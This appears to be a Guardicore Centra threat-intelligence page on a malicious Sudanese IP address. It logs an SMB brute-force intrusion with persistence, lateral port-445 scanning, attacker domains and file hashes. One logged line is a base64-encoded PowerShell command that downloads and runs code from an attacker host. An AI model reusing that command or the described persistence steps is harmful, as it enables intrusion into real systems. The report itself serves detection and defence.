IP Address: 212.0.143.190Malicious

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IP Address:
212.0.143.190​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

DNS Query Listening Successful SMB Login Scheduled Task Creation Download and Execute Access Suspicious Domain SMB SMB Share Connect SMB Null Session Login Port 445 Scan Service Start System File Modification Service Stop Service Creation Service Configuration Persistency - Logon Service Deletion Download File PowerShell CMD File Operation By CMD

Associated Attack Servers

o.beahh.com v.beahh.com i.haqo.net pp.abbny.com ii.haqo.net oo.beahh.com p.abbny.com ip.42.pl

Basic Information

IP Address

212.0.143.190

Domain

-

ISP

Sudatel

Country

Sudan

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-07-21

Last seen in Guardicore Centra

2021-03-30

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

Process c:\windows\system32\lsass.exe started listening on ports: 49158

Listening

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

The file C:\Windows\wkwHGiMz.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\wkwhgimz.exe as a service named fGCb under service group None

Service Start Service Creation

C:\Windows\temp\tmp.vbs was downloaded

Download File

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 4 times

Successful SMB Login

Service fGCb was stopped

Service Stop

The file c:\windows\syswow64\drivers\svchost.exe was downloaded and executed 3 times

Download and Execute

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 4 times

System File Modification

The file C:\Windows\temp\svchost.exe was downloaded and executed 8 times

Download and Execute

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetooths

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

c:\windows\temp\ttt.exe set the command line c:\windows\SysWOW64\wmiex.exe to run using Persistency - Logon

Persistency - Logon

C:\Windows\xGNRyXOA.exe was downloaded

Download File

The command line C:\Windows\temp\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\DnsScan

c:\windows\system32\services.exe installed and started c:\windows\syswow64\wmiex.exe as a service named WebServers under service group None

Service Start Service Creation

The file c:\windows\syswow64\wmiex.exe was downloaded and executed 3 times

Download and Execute

The command line cmd.exe /c c:\windows\SysWOW64\wmiex.exe was scheduled to run by modifying C:\Windows\System32\Tasks\WebServers

Process c:\windows\syswow64\wmiex.exe attempted to access suspicious domains: ii.haqo.net, oo.beahh.com and pp.abbny.com

Access Suspicious Domain DNS Query

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 3 times

System file c:\windows\syswow64\drivers\svchost.exe was modified

System File Modification

c:\windows\temp\setup-install.exe set the command line c:\windows\SysWOW64\drivers\svchost.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\syswow64\drivers\svchost.exe as a service named Ddriver under service group None

Service Start Service Creation

Process c:\windows\syswow64\drivers\svchost.exe started listening on ports: 65533

Listening

The file C:\Windows\Temp\_MEI9202\select.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\Windows\Temp\_MEI9202\pywintypes27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

Process c:\windows\temp\svchost.exe started listening on ports: 60124 3 times

Listening

System file c:\windows\syswow64\wbem\wmiutils.dll was modified 4 times

System File Modification

The command line cmd.exe /c c:\windows\SysWOW64\drivers\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Ddrivers

Process NetworkService Service Group attempted to access suspicious domains: oo.beahh.com

Access Suspicious Domain DNS Query

Process c:\windows\syswow64\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net, o.beahh.com and p.abbny.com

Access Suspicious Domain DNS Query

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: v.beahh.com

Access Suspicious Domain DNS Query

Process c:\windows\system32\wbem\wmiprvse.exe attempted to access suspicious domains: _ldap._tcp.dc._msdcs.SERVER-BACKUP

Access Suspicious Domain DNS Query

Process c:\windows\temp\svchost.exe attempted to access domains: ip.42.pl

DNS Query

Process NetworkService Service Group attempted to access domains: ip.42.pl

DNS Query

Process c:\windows\temp\svchost.exe generated outgoing network traffic to: 192.168.0.10:445, 192.168.0.11:445, 192.168.0.12:445, 192.168.0.13:445, 192.168.0.14:445, 192.168.0.15:445, 192.168.0.16:445, 192.168.0.17:445, 192.168.0.18:445, 192.168.0.19:445, 192.168.0.1:445, 192.168.0.20:445, 192.168.0.21:445, 192.168.0.22:445, 192.168.0.23:445, 192.168.0.24:445, 192.168.0.25:445, 192.168.0.2:445, 192.168.0.4:445, 192.168.0.5:445, 192.168.0.6:445, 192.168.0.7:445, 192.168.0.8:445, 192.168.0.9:445 and labs-agents:445

Process c:\windows\temp\svchost.exe scanned port 445 on 25 IP Addresses

Port 445 Scan

Connection was closed due to user inactivity

Associated Files

\\server-backup\c$\zilnbirc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes

C:\Windows\temp\upinstalled.exe

SHA256: bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc

201776 bytes

C:\Windows\Temp\ttt.exe

SHA256: b771267551961ce840a1fbcd65e8f5ecd0a21350387f35bbcd4c24125ec04530

73776 bytes

C:\Windows\temp\svchost.exe

SHA256: 60b6d7664598e6a988d9389e6359838be966dfa54859d5cb1453cbc9b126ed7d

5916920 bytes

C:\Windows\Temp\_MEI9202\select.pyd

SHA256: 385e7a3cf5dd7b65590b064e7bc09f901db7ddc8542396af6bb60048a30993f0

11776 bytes

C:\Windows\Temp\_MEI9202\pywintypes27.dll

SHA256: 241ecbd87410e9b23339d494f9eca7ddf8083472661989f489fdd7fe0b8776b4

110080 bytes

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IP Address: 212.0.143.190​Malicious